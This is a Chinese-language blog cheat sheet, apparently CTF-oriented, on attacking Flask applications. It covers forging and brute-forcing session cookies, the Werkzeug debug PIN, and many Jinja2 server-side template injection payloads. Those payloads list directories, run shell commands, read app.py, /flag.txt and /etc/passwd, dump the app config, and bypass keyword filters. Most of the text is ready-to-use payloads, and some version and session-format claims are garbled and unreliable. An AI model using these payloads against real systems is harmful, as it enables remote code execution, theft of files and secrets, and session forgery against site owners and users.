Flask代码审计技巧
版本特性
flask 3.6采用MD5加密,flask 3.8采用sha1加密
werkzeug介绍
1 | flask基于werkzeug模块构建,werkzeug是一个WSGI工具包,封装了web框架的内容 |
secret_key
flask中的session使用了hmac签名,而hmac算法需要一个secret_key作为密钥
1 | 最终session值 = base64(session)+ secret_key |
flask session加解密工具:https://github.com/noraj/flask-session-cookie-manager
1 | 解密:python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值” |
flask session爆破工具:https://github.com/Paradoxis/Flask-Unsign
1 | python flask-unsign --unsign --cookie "session值" --wordlist "字典" --no-literal-eval |
PIN码
PIN码是用于debug模式的调试,如果debug设置为True且服务器出现了报错
访问debug页面的攻击者就可以通过PIN码输入python代码获取权限
1 | 路径:Python\Lib\site-packages\werkzeug\debug\__init__.py |
运行flask的时候会直接输出PIN码,除去减号一共9位数字

如果是Linux系统可以通过输入对应的变量来获取PIN码
如果是Windows系统时,PIN码会直接等于os.environ.get("WERKZEUG_DEBUG_PIN")
SSTI
SSTI读取文件夹信息
通过import os和os.listdir()获取系统根路径下的文件信息(如果os字符串被禁用时,可通过'o' + 's'绕过)
如果需要读取web路径,可使用.
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %} |
执行ls命令读取WEB路径下的文件
1 | {{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}} |
SSTI读取文件内容
读取WEB路径下的app.py文件(可以查看app.py文件的black_list查看被禁用的内容)
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %} |
读取系统根路径下的文件flag.txt
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag.txt','r').read()}}{% endif %}{% endfor %} |
读取/etc/passwd文件,开头不使用/时默认为WEB路径下
1 | {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} |
绕过的payload-1
1 | {{''[request.args.a][request.args.b][2][request.args.c]()[40]('/flag.txt')[request.args.d]()}}? |
绕过的payload-2
1 | {% for c in ''['__c'+'lass__']['__m'+'ro__'][2]['__subcl'+'asses__']()[:100] %} |
绕过的payload-3
1 | {% for c in ''['__c'+'lass__']['__m'+'ro__'][2]['__subcl'+'asses__']()[:42] %} |
SSTI获取当前所使用的类
1 | {{对象名.__class__}} |
SSTI获取所继承的基类
1 | {{对象名.__bases__}} |
1 | {{对象名.__mro__}} |
SSTI获取构造函数
1 | {{对象名.__init__}} |
SSTI获取全局配置config
1 | {{config}} |
1 | {{url_for.__globals__['current_app'].config}} |
1 | {{get_flashed_messages.__globals__['current_app'].config}} |
SSTI读取所有模块名
其中的模块名都会按下标顺序排列,第一个为0
1 | {{[].__class__.__base__.__subclasses__()}} |
GET传参绕过限制
存在如下的代码被限制时
1 | /{{".__class__"}} |
可使用requests.args.参数名的方式绕过
1 | /{{"requests.args.a}}?a=__class__ |
如果有多个参数时,可以使用中括号将各个payload括起来
1 | /{{"[request.args.a][request.args.b]}}?a=__class__&b=__mro__ |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 狐狸小镇!










